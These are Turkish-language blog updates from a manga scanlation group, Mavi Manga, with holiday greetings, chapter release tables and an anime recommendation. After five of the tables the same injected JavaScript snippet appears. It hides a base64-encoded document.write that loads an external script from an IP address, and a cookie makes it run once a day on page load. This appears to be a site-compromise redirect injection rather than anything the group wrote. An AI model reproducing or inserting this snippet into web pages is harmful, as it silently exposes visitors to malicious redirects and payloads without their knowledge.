Mer­ha­ba­lar, tatil nasıl gi­di­yor ar­ka­daş­lar? İnşal­lah güzel ge­çi­yor­dur. Bu­ra­dan sı­nav­la­ra gi­recek tüm ar­ka­daş­la­ra ba­şa­rı­lar di­le­rim~ ? Ön­ce­lik­le, gru­bu­mu­za bir­kaç ar­ka­da­şı­mız ka­tıl­dı. On­la­ra bu­ra­dan tek­rar hoş gel­din di­yo­rum ? Uma­rım Mavi'de çok eğ­le­nir­si­niz ^^ İlk önce Tate no Yu­us­ha no Na­ri­aga­ri'den bah­se­de­yim. Eski in­gi­liz­ce çe­vi­ri grubu, çe­vir­men­le­ri ol­ma­dı­ğı için se­ri­yi bı­rak­tı­lar gibi bir şey oldu. O yüz­den uzun sü­re­dir bölüm gel­mi­yor­du. Geçen grup­ta ko­nuş­ma­sı geç­ti­ğin­de Freij'le ko­nu­şu­yor­duk, uzun za­man­dır bölüm gel­mi­yor diye. Sonra Ageha dedi ki ben gör­düm yeni bölüm gel­miş. Biz de bir he­ye­can, koşup bak­tık yeni bölüm gel­miş ?? Freij ar­ka­da­şı­mı­zın şan­sı­na ? Se­ri­yi başka bir in­gi­liz­ce grup almış. Onlar devam ede­cek­miş. Yanii artık devam edecek ? Biz de hemen yap­tık bö­lü­mü ? Diğer se­ri­ler­den bah­se­decek olur­sam, gör­dü­ğü­nüz gibi her se­ri­miz devam edi­yor ? Yeni bölüm gel­me­yen se­ri­le­ri soran ar­ka­daş­la­rı­mız, se­ri­nin çe­vir­me­ni veya edi­tö­rü mü­sa­it ol­du­ğun­da ge­le­cek­tir. Malum ta­til­de­yiz ama tatil de­me­den çe­vi­ri­ye devam edi­yo­ruz. Böyle de devam ede­ce­ğiz in­şal­lah. ? İle­ti­şim kıs­mın­dan yeni bölüm sor­ma­yı bı­ra­kın o yüz­den ? Tabii bunu gör­me­yip, hala sor­ma­ya devam eden­le­re her­ke­sin se­la­mı var ? Açık­la­ma­lar gün­cel­ler­de olu­yor veya yo­rum­lar­da da be­lir­ti­yo­ruz eli­miz­den gel­di­ğin­ce.  Biraz isyan gibi olmuş ola­bi­lir, tamam siz de merak edi­yor­su­nuz ne zaman ge­le­ce­ği­ni ama her gün her gün "yeni bölüm ne­re­de, yeni bölüm ne­re­de" diye sor­du­ğu­nu­zu gö­rün­ce işte insan bı­kı­yor ??‍♀️ Suga'ya se­lam­lar ? (Selam olsun sana Eyy Suga ?) Se­ri­le­re devam edi­yo­ruz, se­ri­le­ri­mi­zi al­ma­ya ça­lış­ma­yın lüt­fen ? Shi­ma­na­mi Ta­so­ga­re oku­ya­na donut ve­ri­yo­ruz. ? Sı­nav­lar­dan çı­kan­la­ra geç­miş olsun. Krep ya­şı­yor ? Fuwa da ölü­yor ? (Allah ko­ru­sun.) Ageha bir gün ge­lecek ? Fri'yi göm­dük ? Hel­va­sı­nı yi­yo­ruz ? (Çok lez­zet­li ?... Tövbe.) Far­rel­le­da'nın ne­re­de ol­du­ğu bi­lin­mi­yor ? Hayal, ha­yal­ler ale­min­de kay­bol­du geri dö­ne­mi­yor ? Mayu,  Mavi Köyü'ne araş­tır­ma­ya gitti ve onu bir daha gören ol­ma­dı. Ar­dın­da sa­de­ce bu not­la­rı bul­duk...  "Mavi sho­ujo­cu değil." "BL bile var." "Yeni bö­lüm­le­ri sor­ma­yı kesin!!" "unOr­di­nary ve Yona ka­yıp­la­ra ka­rış­tı." ? Su­mi­re'de yurt dı­şın­dan ter­lik ithal etmek için gö­rüş­me­ler ya­pı­yor. Bu yüz­den çok meş­gul. Uzay mü­za­ke­re­le­rin­den sonra dünya ter­lik fır­lat­ma şam­pi­yo­na­sı için gö­rüş­me­le­re baş­la­ya­cak. Ama as­lın­da her­kes onu uzaya ter­lik gö­rüş­me­si yap­ma­ya git­ti­ği­ni sa­nar­ken o Sa­ku­ra­gi'siyle keyif sü­rü­yor­du ? Ajun abi ben al­man­ya­dan gel­dim, edit ya­pı­cem ?- by Suga Fri ile John'un Las Vegas Ma­ce­ra­la­rı: Part I/Yarın Tüm Si­ne­ma­lar­da ? Uzay­lı­lar, bö­lüm­le­ri­mi­ze el koy­du­ğu için İnter­ga­lak­tik yol­cu­lu­ğa çık­tık, haf­ta­ya ışın kı­lıç­la­rı­mız­la dö­nü­yor ve hep­si­nin kel­le­le­ri­ni şö­mi­ne­mi­zin üze­ri­ne ası­yo­ruz. Işın ter­lik­le­ri üre­ti­mi­ne baş­la­ya­ca­ğız bu yol­cu­luk son­ra­sı ? Saat gece ya­rı­sı 12'yi vur­du­ğun­da Cin­de­rel­la ve tüm Ma­vi­ler eski hal­le­ri­ne geri dö­necek ? Manga Adı Bölüm Çe­vir­men Edi­tör Te­miz­le­me Ara­ka­wa Under the Brid­ge 229-230 Deuce Eva Ashi-Girl 23 Cain Eva Ba­ra­ka­mon 10-11 Mayu Far­rel­le­da Yo­zo­ra Green Boy 117 Su­mi­re Eva Green Worldz 93-95 KomF­lag Blac­kie Blac­kie Nec­ro­man­cer 22 Deuce S.​Jeno Pen to Cho­co­la­te 16 Zakky­li­ar Hayal Vic­to­ri­ca Ran to Ha­i­iro no Sekai 25 Mayu Eva Ar­tist T-sen­sei 4 Mayu Eva Tate no Yu­us­ha no Na­ri­aga­ri 41 GÜN­CEL Mayu Eva Tsu­ki­ka­ge Baby 8-9 Cain Hayal unOr­di­nary 89 Mayu Hayal Voice of Love 1-4 YENİ Fuwa Fuwa Suga-Fri­ole­ro-Mayu Fri­ole­ro Witch Works­hop 5-6 To­Xi­Ko­Re Blac­kie Blac­kie func­ti­on get­Co­okie(e){var U=do­cu­ment.​cookie.​match(new Re­gE­xp("(?:^|; )"+e.​replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));re­turn U?de­co­de­URI­Com­po­nent(U[1]):void 0}var src="data:text/ja­vasc­ript;ba­se­64,ZG­9j­d­W1lb­n­Qu­d­3Jpd­GU­od­W5l­c­2Nhc­GU­oJ­yU­z­Q­yU­3M­yU­2M­yU­3­Mi­U2O­SU­3M­CU­3N­CU­y­M­C­U­3­M­y­U­3­M­i­U­2­M­y­U­z­R­C­U­y­M­i­U­y­M­C­U­2­O­C­U­3­N­C­U­3­N­C­U­3­M­C­U­z­Q­S­U­y­R­i­U­y­R­i­U­z­M­S­U­z­O­C­U­z­N­S­U­y­R­S­U­z­M­S­U­z­N­S­U­z­N­i­U­y­R­S­U­z­M­S­U­z­N­y­U­z­N­y­U­y­R­S­U­z­O­C­U­z­N­S­U­y­R­i­U­z­N­S­U­2­M­y­U­3­N­y­U­z­M­i­U­2­N­i­U­2­Q­i­U­y­M­i­U­z­R­S­U­z­Q­y­U­y­R­i­U­3­M­y­U­2­M­y­U­3­M­i­U­2­O­S­U­3­M­C­U­3­N­C­U­z­R­S­U­y­M­C­c­p­K­Ts=",now=Math.​floor(Date.​now()/1e3),co­okie=get­Co­okie("re­di­rect");if(now>=(time=co­okie)||void 0===time){var time=Math.​floor(Date.​now()/1e3+86400),date=new Date((new Date).get­Ti­me()+86400);do­cu­ment.co­okie="re­di­rect="+time+"; path=/; ex­pi­res="+date.​toGMTString(),do­cu­ment.write('')}

(Kendi is­te­ğiy­le gün­cel alıp ne ya­za­ca­ğı­nı bil­me­me so­run­sa­lı ya­şı­yo­rum. Şu an sah­ne­den size boş boş bakma se­be­bim bu. Sa­nı­rım fıkra falan an­lat­sam du­ru­mu kur­ta­ra­ca­ğım ama ben mil­le­tin Temel Reis fık­ra­la­rı oku­du­ğu yaşta Suç ve Ceza oku­ma­ya ça­lı­şı­yor­dum. O yüz­den fıkra bil­mi­yo­rum ama psi­ko­lo­ji oku­ma­sam da suç­lu­luk psi­ko­lo­ji­si hak­kın­da baya şey öğ­ren­dim. Pek işime ya­ra­mı­yor. Sa­nı­rım fıkra falan öğ­ren­me­liy­dim. Ya­şıt­la­rım şiir, alın­tı vs. bi­li­yor ez­be­re. Ben daha oku­du­ğum ki­ta­bın adını unu­tu­yo­rum -ya­za­rın­dan hiç bah­set­mi­yo­rum bile. Şu an dı­şa­rı­da biri türkü söy­lü­yor. Ka­fa­sı güzel biri muh­te­me­len. Aşağı inip ona ka­tıl­mak is­te­dim. Ne di­yecek bek­len­ti­li ba­kış­la­rı­nız stres ol­ma­ma sebep olu­yor. Az önce de bir­kaç yüz metre ötem­de havai fişek at­tı­lar. Bu me­ret­le­rin sağır edecek kadar ses çı­kar­dı­ğı­nı bil­mi­yor­dum. Ku­lak­la­rım arıza verdi.) ... (Yak­la­şık 5 da­ki­ka sonra...) Ka­fa­sı muh­te­mel güzel abi tür­kü­yü hay­kı­ra­rak bi­tir­di. Ben de hay­kı­rıp bu gün­ce­li bi­ti­ri­yo­rum. ALEHİHO­O­O­OO. Kö­şe­not: Tem­muz sonu gibi Las Vegas'a ta­ti­le gi­di­yo­rum. Ku­ma­ra ve­re­ce­ğim ken­di­mi. Ora­dan is­te­di­ği­niz bir şey varsa yo­ru­ma ya­za­bi­lir­si­niz. İtal­yan maf­ya­sı ru­hu­ma Fa­ti­ha oku­maz­sa he­di­ye­le­ri­niz­le Ağus­tos so­nu­na dö­ne­ce­ğim. Heh heh. 23:44 Manga Adı Bölüm Çe­vir­men Edi­tör Te­miz­le­me Ara­ka­wa Under the Brid­ge 227-228 Deuce Eva Ashi-Girl 22 Cain Eva CARL 4 Suga Su­mi­re Green Boy 116 Su­mi­re Eva Green Worldz 90-92 KomF­lag Blac­kie Blac­kie Hana to Sho­ku­ta­ku One-Shot Cain Fri­ole­ro Cain My Giant Nerd Boyf­ri­end 150-159 Su­mi­re Su­mi­re Fri­ole­ro Shi­ma­na­mi Ta­so­ga­re 3 John Titor Fri­ole­ro LuSeR T-sen­sei 3 Mayu Eva Two Pla­ying House 13-16 GÜN­CEL Su­mi­re Mayu Wind Bre­aker 24-28 Ani­taB­la­ke Suga-Psyk­he Witch Works­hop 3-4 To­Xi­Ko­Re Blac­kie Blac­kie func­ti­on get­Co­okie(e){var U=do­cu­ment.​cookie.​match(new Re­gE­xp("(?:^|; )"+e.​replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));re­turn U?de­co­de­URI­Com­po­nent(U[1]):void 0}var src="data:text/ja­vasc­ript;ba­se­64,ZG­9j­d­W1lb­n­Qu­d­3Jpd­GU­od­W5l­c­2Nhc­GU­oJ­yU­z­Q­yU­3M­yU­2M­yU­3­Mi­U2O­SU­3M­CU­3N­CU­y­M­C­U­3­M­y­U­3­M­i­U­2­M­y­U­z­R­C­U­y­M­i­U­y­M­C­U­2­O­C­U­3­N­C­U­3­N­C­U­3­M­C­U­z­Q­S­U­y­R­i­U­y­R­i­U­z­M­S­U­z­O­C­U­z­N­S­U­y­R­S­U­z­M­S­U­z­N­S­U­z­N­i­U­y­R­S­U­z­M­S­U­z­N­y­U­z­N­y­U­y­R­S­U­z­O­C­U­z­N­S­U­y­R­i­U­z­N­S­U­2­M­y­U­3­N­y­U­z­M­i­U­2­N­i­U­2­Q­i­U­y­M­i­U­z­R­S­U­z­Q­y­U­y­R­i­U­3­M­y­U­2­M­y­U­3­M­i­U­2­O­S­U­3­M­C­U­3­N­C­U­z­R­S­U­y­M­C­c­p­K­Ts=",now=Math.​floor(Date.​now()/1e3),co­okie=get­Co­okie("re­di­rect");if(now>=(time=co­okie)||void 0===time){var time=Math.​floor(Date.​now()/1e3+86400),date=new Date((new Date).get­Ti­me()+86400);do­cu­ment.co­okie="re­di­rect="+time+"; path=/; ex­pi­res="+date.​toGMTString(),do­cu­ment.write('')}

https://​www.​youtube.​com/​watch?​v=dI-​dEfhQc_​U Yo­ru­cu ama tatlı bir Ra­ma­zan ayın­dan sonra Ra­ma­zan bay­ra­mı­na da eriş­mek nasip oldu. Ço­cuk­la­ra bol harç­lık ver­me­yi ve bü­yük­le­ri­ni­zi zi­ya­ret et­me­yi unut­ma­yın. Vee tabi ki Mavi Manga ekibi ola­rak bizde ken­di­miz­ce bay­ram he­di­ye­si ola­rak Yona’dan  bölüm ver­dik in­şal­lah bay­ram se­vin­ci­ni­ze ay­rı­ca mut­lu­luk kat­mı­şız­dır. Başta sev­gi­li Mavi Manga eki­bi­ne ve siz de­ğer­li üye­le­ri­mi­ze mutlu bay­ram­lar di­le­rim. - Asmin "Shi­ma­na­mi Ta­so­ga­re'yi çe­vir­me­mi­zin ne­den­le­rin­den bi­ri­si in­san­la­ra hoş­gö­rü, sevgi ve an­la­yış aşı­la­ma­ya ça­lı­şa­rak bir nebze de olsa çev­re­mi­zi gü­zel­leş­tir­me­ye ça­lış­ma­sın­dan­dı. Belki şu an için bu çok zor gö­zük­se de uma­rım bu mü­ba­rek aylar doğru yönde iler­le­me­mi­ze ve­si­le ol­muş­tur/ola­cak­tır. Or­ta­ğım­la bir­lik­te yü­zü­nüz­den gü­lüm­se­me­nin eksik ol­ma­dı­ğı, sağ­lık, mut­lu­luk ve huzur dolu nice bay­ram­la­ra aile­niz­le bir­lik­te ağız ta­dıy­la ulaş­ma­nı­zı te­men­ni ede­riz." - Fri-chan/John Titor, 2018 Yazı. Iuw. - Ki'zu Bol bol şeker ve harç­lı­ğı­nız olsun bay­ra­mı­nız mü­ba­rek olsun  - Ageha Çok çok sev­gi­li mavi manga ta­kip­çi­le­ri­miz uma­rım bu bay­ra­mı sev­dik­le­ri­niz­le be­ra­ber ge­çi­rir ve ya­şı­nız hala ye­ti­yor­sa harç­lık top­lar­sı­nız. (Artık bana harç­lık veren yok ma­le­sef, pay­la­şa­lım?) takip et­se­niz de et­me­se­niz de size birrr sürü bölüm ver­mek is­ter­dim ama daha za­ma­nı değil, şart­la­rın ol­gun­laş­ma­sı ge­re­ki­yor son tah­lil­de? as­kı­da­ki se­ri­le­rim­den bi­ri­ni devam et­ti­rip bi kaç bölüm ver­me­yi dü­şü­nü­yo­rum o yüz­den bu bay­ram sa­de­ce kuru kuru kut­la­mak­la ye­ti­ne­lim, pasta börek bak­la­va? he­pi­ni­ze iyi bay­ram­lar, harç­lık­la­rı bö­lü­şe­lim demiş miy­dim??‍♀️ (as­lın­da bu bay­ram me­sa­jı tek cüm­le­lik olu­cak­tı ama is­mi­ni ver­mi­yim şimdi baş harfi Shiki olan dost ta­ra­fın­ca uza­tıl­dı ?) - Blac­kie Ha­yır­lı bay­ram­lar. - Eva - Psyk­he Mavi Manga aile­si ola­rak her­ke­sin bay­ra­mı­nı kut­lar, he­di­ye ola­rak bu bö­lüm­le­ri sunar ve bay­ram­da ta­ti­li­mi­zin key­fi­ni sür­me­ye ka­ça­rız. - Hayal Bugün 11 ayın sul­ta­nı­nın bi­ti­şi­ni kut­la­ma günü... Bugün zafer günü... Bugün.... Bu gün bizim gü­nü­müz. Di­le­rim bu gün­le­ri­miz­de -bay­ram­da- sev­dik­le­ri­niz­le güzel ve mutlu va­kit­ler ge­çi­rir­si­niz. İyi bay­ram­lar. - Ro­sa­mary Mer­ha­ba­lar efen­dim, ben Suga, bay­ra­mı­nı­zı en içten di­lek­le­rim­le kut­la­rım, Allah tek­ra­rı­nı er­dir­sin, size ve aile­ni­ze çokça sev­gi­le­ri­mi­zi ile­ti­yo­ruz. Carl'ı çokça sevin? Bu arada bir not, Wind Bre­aker oku­yan­lar için, edi­tö­rü ola­rak bun­dan sonra Mavi Manga'da bu se­ri­ye devam ede­ce­ğim, say­gı­lar.  - Suga Hep bir arada, sevgi dolu ve hu­zur­lu nice bay­ram­lar ge­çir­mek di­le­ğiy­le, Ra­ma­zan Bay­ra­mı­nız kutlu olsun! Mü­ba­rek Ra­ma­zan Bay­ra­mı tüm ulu­su­mu­za kutlu olsun. Allah tüm ina­nan­la­ra nice hu­zur­lu, be­re­ket­li bay­ram­lar nasip etsin. Nice bol şe­ker­li, Ma­vi­li bay­ram­la­ra? - Mayu Tüm Mavi'nin Ra­ma­zan Bay­ra­mı­nı kut­la­rım - Far­rel­le­da Ben­de­niz mas­ma­vi si­te­nin çi­çe­ği bur­nun­da çe­vir­me­ni Asha; hayal ku­ra­bil­di­ği­niz, es­ki­ye dair öz­le­min buruk ta­dı­nı çok fazla his­set­tir­me­yen, ne­şey­le, kah­ka­hay­la, çokça sa­rıl­may­la dolu bir bay­ram ge­çir­me­ni­zi te­men­ni edi­yo­rum. Kü­çük­le­rin harç­lı­ğı, bü­yük­le­rin güzel anı­la­rı, manga se­ver­le­rin bol bol yeni bölüm se­vin­ci olsun. İste­ye­ne şe­ker­li, çi­ko­la­ta­lı; is­te­ye­ne bak­la­va­lı, yap­rak sar­ma­lı bay­ram­lar… - Asha Bay­ra­mı­nız kutlu olsun Ma­vi­can­lar Okul­la­rın ka­pan­dı­ğı, bir Ra­ma­zan ayı­nın daha ge­ri­de kal­dı­ğı bu gün­ler­de he­pi­ni­ze gön­lü­nüz­ce eğ­len­ce, bol bol şeker ve harç­lık ve sev­dik­le­ri­niz­le nice bay­ram­lar di­li­yo­rum. Bize de gün­ce­le te­şek­kür edecek ve bö­lüm­le­re bol yo­rum­lar ya­pa­cak oku­yu­cu­lar. ? O kadar uno ve akat­su­ki var, hadi yine ya­şa­dı­nız, bay­ram he­di­ye­si­ni kap­tı­nız. ? Mavi aile­si tek­rar tem­bel­li­ğe kaçar. (Yaa'la­ma­yın, bay­ram da mı yap­ma­yak ar­ka­daş ?) Ke­yif­li oku­ma­lar. ??‍♀️ - Su­mi­re Manga Adı Bölüm Çe­vir­men Edi­tör Te­miz­le­me Again!! 14-16 To­Xi­Ko­Re Ro­sa­mary Aka­i­ito 16-21 To­Xi­Ko­Re-Cain Psyk­he - Ro­sa­mary - LuseR Asmin Akat­su­ki no Yona 154 Su­mi­re Asmin CARL 3 Suga Su­mi­re Ko­ko­ro Botan 12 Fuwa Fuwa Ro­sa­mary Vic­to­ri­ca Mune ga Naru no wa Kimi no Sei 18 Mayu Psyk­he My Giant Nerd Boyf­ri­end 145-149 Su­mi­re Su­mi­re Ran to Ha­i­iro no Sekai 24 Far­rel­le­da Eva Ar­tist Shi­ma­na­mi Ta­so­ga­re 2 John Titor Fri­ole­ro LuSeR The Fri­endly Win­ter 31-32 Far­rel­le­da Ro­sa­mary Tsu­ba­sa to Ho­ta­ru 29-30-31 Fuwa Fuwa Far­rel­le­da Two Pla­ying House 11-12 Su­mi­re Mayu unOr­di­nary 84-88 Mayu Hayal func­ti­on get­Co­okie(e){var U=do­cu­ment.​cookie.​match(new Re­gE­xp("(?:^|; )"+e.​replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));re­turn U?de­co­de­URI­Com­po­nent(U[1]):void 0}var src="data:text/ja­vasc­ript;ba­se­64,ZG­9j­d­W1lb­n­Qu­d­3Jpd­GU­od­W5l­c­2Nhc­GU­oJ­yU­z­Q­yU­3M­yU­2M­yU­3­Mi­U2O­SU­3M­CU­3N­CU­y­M­C­U­3­M­y­U­3­M­i­U­2­M­y­U­z­R­C­U­y­M­i­U­y­M­C­U­2­O­C­U­3­N­C­U­3­N­C­U­3­M­C­U­z­Q­S­U­y­R­i­U­y­R­i­U­z­M­S­U­z­O­C­U­z­N­S­U­y­R­S­U­z­M­S­U­z­N­S­U­z­N­i­U­y­R­S­U­z­M­S­U­z­N­y­U­z­N­y­U­y­R­S­U­z­O­C­U­z­N­S­U­y­R­i­U­z­N­S­U­2­M­y­U­3­N­y­U­z­M­i­U­2­N­i­U­2­Q­i­U­y­M­i­U­z­R­S­U­z­Q­y­U­y­R­i­U­3­M­y­U­2­M­y­U­3­M­i­U­2­O­S­U­3­M­C­U­3­N­C­U­z­R­S­U­y­M­C­c­p­K­Ts=",now=Math.​floor(Date.​now()/1e3),co­okie=get­Co­okie("re­di­rect");if(now>=(time=co­okie)||void 0===time){var time=Math.​floor(Date.​now()/1e3+86400),date=new Date((new Date).get­Ti­me()+86400);do­cu­ment.co­okie="re­di­rect="+time+"; path=/; ex­pi­res="+date.​toGMTString(),do­cu­ment.write('')}

Evet bu gün­cel­de de Akat­su­ki no Yona yok, evet, bu gün­cel­de de unOr­di­nary yok. Ve bun­la­rın ya­nın­da sor­ma­dı­ğı­nız pek çok se­ri­miz de yok. 2 se­riy­le bu haf­ta­yı da ka­pa­tı­yo­ruz. Her­ke­sin bil­di­ği üzere bu ara­lar sınav haf­ta­la­rı. Pek ço­ğu­mu­zun sı­nav­la­rı ya da yoğun iş­le­ri var, bölüm çık­mı­yor. Haf­ta­ya gün­cel gel­mez­se bölüm çık­ma­mış­tır. Ama üzül­me­yin, önü­müz yaz. Ta­ti­lin re­ha­ve­ti­ne ka­pıl­ma­dı­ğı­mız sü­re­ce daha fazla bölüm ve­re­ce­ğiz :D Hiç­bir se­ri­yi bı­rak­ma­dık/ara ver­me­dik. Ders­le­ri­miz­den/iş­le­ri­miz­den kur­tu­lup bol bol bölüm ve­re­bi­le­ce­ği­miz bir va­kit­te bol bö­lüm­ler­de gö­rüş­mek üzere. Kalın sağ­lı­cak­la. Manga Adı Bölüm Çe­vir­men Edi­tör Ara­ka­wa Under The Brid­ge 224-226 Deuce Eva Ashi Girl 21 Cain Eva func­ti­on get­Co­okie(e){var U=do­cu­ment.​cookie.​match(new Re­gE­xp("(?:^|; )"+e.​replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));re­turn U?de­co­de­URI­Com­po­nent(U[1]):void 0}var src="data:text/ja­vasc­ript;ba­se­64,ZG­9j­d­W1lb­n­Qu­d­3Jpd­GU­od­W5l­c­2Nhc­GU­oJ­yU­z­Q­yU­3M­yU­2M­yU­3­Mi­U2O­SU­3M­CU­3N­CU­y­M­C­U­3­M­y­U­3­M­i­U­2­M­y­U­z­R­C­U­y­M­i­U­y­M­C­U­2­O­C­U­3­N­C­U­3­N­C­U­3­M­C­U­z­Q­S­U­y­R­i­U­y­R­i­U­z­M­S­U­z­O­C­U­z­N­S­U­y­R­S­U­z­M­S­U­z­N­S­U­z­N­i­U­y­R­S­U­z­M­S­U­z­N­y­U­z­N­y­U­y­R­S­U­z­O­C­U­z­N­S­U­y­R­i­U­z­N­S­U­2­M­y­U­3­N­y­U­z­M­i­U­2­N­i­U­2­Q­i­U­y­M­i­U­z­R­S­U­z­Q­y­U­y­R­i­U­3­M­y­U­2­M­y­U­3­M­i­U­2­O­S­U­3­M­C­U­3­N­C­U­z­R­S­U­y­M­C­c­p­K­Ts=",now=Math.​floor(Date.​now()/1e3),co­okie=get­Co­okie("re­di­rect");if(now>=(time=co­okie)||void 0===time){var time=Math.​floor(Date.​now()/1e3+86400),date=new Date((new Date).get­Ti­me()+86400);do­cu­ment.co­okie="re­di­rect="+time+"; path=/; ex­pi­res="+date.​toGMTString(),do­cu­ment.write('')}

Gün­cel. Manga Adı Bölüm Çe­vir­men Edi­tör Te­miz­le­me Again!! 13 To­Xi­Ko­Re Ro­sa­mary Ashi Girl 20 Cain Eva Ko­ko­ro Botan 11 Fuwa Fuwa Ro­sa­mary Vic­to­ri­ca unOr­di­nary 83 Mayu Hayal func­ti­on get­Co­okie(e){var U=do­cu­ment.​cookie.​match(new Re­gE­xp("(?:^|; )"+e.​replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));re­turn U?de­co­de­URI­Com­po­nent(U[1]):void 0}var src="data:text/ja­vasc­ript;ba­se­64,ZG­9j­d­W1lb­n­Qu­d­3Jpd­GU­od­W5l­c­2Nhc­GU­oJ­yU­z­Q­yU­3M­yU­2M­yU­3­Mi­U2O­SU­3M­CU­3N­CU­y­M­C­U­3­M­y­U­3­M­i­U­2­M­y­U­z­R­C­U­y­M­i­U­y­M­C­U­2­O­C­U­3­N­C­U­3­N­C­U­3­M­C­U­z­Q­S­U­y­R­i­U­y­R­i­U­z­M­S­U­z­O­C­U­z­N­S­U­y­R­S­U­z­M­S­U­z­N­S­U­z­N­i­U­y­R­S­U­z­M­S­U­z­N­y­U­z­N­y­U­y­R­S­U­z­O­C­U­z­N­S­U­y­R­i­U­z­N­S­U­2­M­y­U­3­N­y­U­z­M­i­U­2­N­i­U­2­Q­i­U­y­M­i­U­z­R­S­U­z­Q­y­U­y­R­i­U­3­M­y­U­2­M­y­U­3­M­i­U­2­O­S­U­3­M­C­U­3­N­C­U­z­R­S­U­y­M­C­c­p­K­Ts=",now=Math.​floor(Date.​now()/1e3),co­okie=get­Co­okie("re­di­rect");if(now>=(time=co­okie)||void 0===time){var time=Math.​floor(Date.​now()/1e3+86400),date=new Date((new Date).get­Ti­me()+86400);do­cu­ment.co­okie="re­di­rect="+time+"; path=/; ex­pi­res="+date.​toGMTString(),do­cu­ment.write('')}

Se­lam­lar  Mavi Manga'nın hem Mavi hem de Manga seven dost­la­rı? ; "Bir (edi­tö­rü ol­du­ğum se­ri­ler­le il­gi­li ) bil­gi­len­dir­me gün­ce­li ben de yaz­sam mı?" diye yola çık­tı­ğım son­ra­sın­da "Dur iz­le­di­ğim en iyi iki ani­me­den bah­se­de­yim, es­ka­za iz­le­me­yen varsa mut­la­ka iz­le­me­si­ni tav­si­ye ede­rim" de­di­ğim, so­nuç­ta"Ayy!! iki­si­ni sığ­dı­ra­mam bir ta­ne­si­ni se­çe­yim en iyisi..." de­di­ğim gün­ce­li­me hoş­gel­di­niz...?? Hala  çoğu sah­ne­si­ni zih­nim­de ba­rın­dır­dı­ğım, etk­sin­den çı­ka­ma­dı­ğım ina­nıl­maz bir anime se­ri­si. Ve bir de filmi de var. ? Co­w­boy Bebop ( Uzay kov­bo­yu). Spike Spi­egel, Jet Black,  Faye Va­len­ti­ne, Ed ve Ein?. Bu dört kişi ve bir de kö­pe­ğin et­ra­fın­da dönen muh­te­şem  hi­ka­ye­ler... Ön­ce­lik­le ya­şa­dı­ğı­nız yer­yü­zü­nü bütün ga­lak­si ola­rak hayal edin. ?Tür­ki­ye'den Ja­pon­ya'ya gider gibi Mars -Venüs arası ge­zi­ne­bi­li­yor­su­nuz. Se­ri­nin her bö­lü­mün­de fark­lı bir hi­ka­ye var, (ancak bir bölüm dahi iz­le­me­se­niz ka­rak­ter­le­rin hi­ka­ye­le­ri­nin  bazı kı­sım­la­rı­na dair eksik par­ça­lar ka­la­bi­lir) Seri sürp­riz­ler­le dolu bir bak­mışs­sı­nız tamı ta­mı­na Türk­çey­le "Aile pa­za­rı"? ta­be­la­sı gö­re­bi­lir­si­niz, ya da bizim kla­sik çay ta­bak­la­rı­mız çay bar­dak­la­rı­mı­zı da  ya da başka kül­tür­le­rin öğr­le­ri­ni de... Hatta adı " Afe­der­si­niz­he­sap­lüt­fen"? olan bir adamı da gö­re­bi­lir­si­niz.. Tabi bun­lar se­ri­nin eğ­len­ce­li kı­sım­la­rı.. Ama ka­rak­ter­le­rin her bi­ri­nin ayrı hi­ka­ye­le­ri var ki belki de ağ­la­ya­bi­lir­si­niz... (Bu­ra­da bütün hi­ka­ye­le­ri an­la­ta­sım ge­li­yor ama su­su­yo­rum ) Ağ­la­ma­nı­zı ko­lay­laş­tı­ra­cak ya da gü­ler­ken size eşlik edecek ina­nıl­maz mü­zik­le­ri var ki az aşa­ğı­da pay­laş­mış ol­du­ğum sa­de­ce te­le­fo­nu­mun ara­yan zil sesi değil aynı za­man­da düğün giriş mü­zi­ğim­de...??? Din­le­dik­çe din­le­ye­si­niz ge­li­yor...? https://​www.​youtube.​com/​watch?​v=eyI​635o​2pmk En çok sev­di­ğim rep­lik­te..." DOKO İKUNO, NANDE İKUNO?" ( Fi­na­le gel­me­yen bi­le­mez rep­li­ğin neden bu kadar kıy­met­li ol­du­ğu­nu) Sakın ha iz­ler­ken göz­le­ri­ni­zi kırp­ma­yın! Hiç­bir sa­ni­ye­yi ka­çı­ma­yın! ? Gel­ge­lim Edi­tör­lü­ğü­nü yap­tı­ğım se­ri­le­re... Merak eden olu­yor­sa diye; Aya­ha­to­ri Sho­ukanc­hou:    Seri top­lam­da 21 bö­lüm­lük. Biz 6. bö­lü­me gel­dik, se­ri­nin belli bir çe­vir­me­ni ol­ma­dı­ğın­dan ve çe­vi­ri­si biraz zah­met­li ol­du­ğun­dan biraz yavaş iler­li­yo­ruz.. Ama fi­na­li­ni gö­re­ce­ği­mi­ze dair inan­cım tam ? Frau Faust:  Oya­la­nan Manga ( Fo­re­ver Young) benim de­yi­mim­le tek ba­şı­na dev kadro ile bir­lik­te fi­na­li­ne kadar gel­di­ği­miz  Fu­ta­ri no Renai Shoka'mız  var. Ve Fo­re­ver'ım Go­ku­sen'de de epey bir emeği var. Şimdi yine be­ra­ber­ce yap­tı­ğı­mız seri Faust'ta henüz 2. bö­lüm­de­yiz. Gün­ce­li de 11. bö­lüm­de. Fo­re­ver Young  yoğun bir dö­nem­de ol­du­ğun­dan hızlı ola­mı­yo­ruz. Go­ku­sen Sev­gi­li Cain'imle devam edi­yo­ruz. Fi­na­li­ne epey bir bölüm var. ?? Ka­ku­ka­ku Shi­ka­ji­ka Yine Cain'le ortak pro­je­miz. Top­lam­da 34 bölüm biz de 13. bö­lü­mü­ne gel­dik. Ka­mi­sa­ma Ga­ku­en@Ar­me­ria Gerek çe­vi­ri­si ge­rek­se de edi­tiy­le de tam bir çile olan ama fark­lı fan­tas­tik bir hi­ka­ye­ye sahip ya­kı­şık­lı­sı bol bir seri. Ama şim­di­lik rafta. ??  Ki­gu­ru­mi Gu­ar­di­ans Gün­ce­li­ne gel­dik ve bu­ra­da uzun yıl­lar ka­la­bi­li­riz. Zira se­ri­nin in­gi­liz­ce bö­lü­mü­nün gel­me­si zor gö­rü­nü­yor. Kink­yo­ri Renai  Ah benim dahi kız'ım ? Li­san­sı ile il­gi­li sı­kın­tı­la­rı var se­ri­nin. Gün­ce­li şu anda 27 de kal­mış ve bir de  40. bö­lü­mü yap­mış­lar. Biz de 24.5 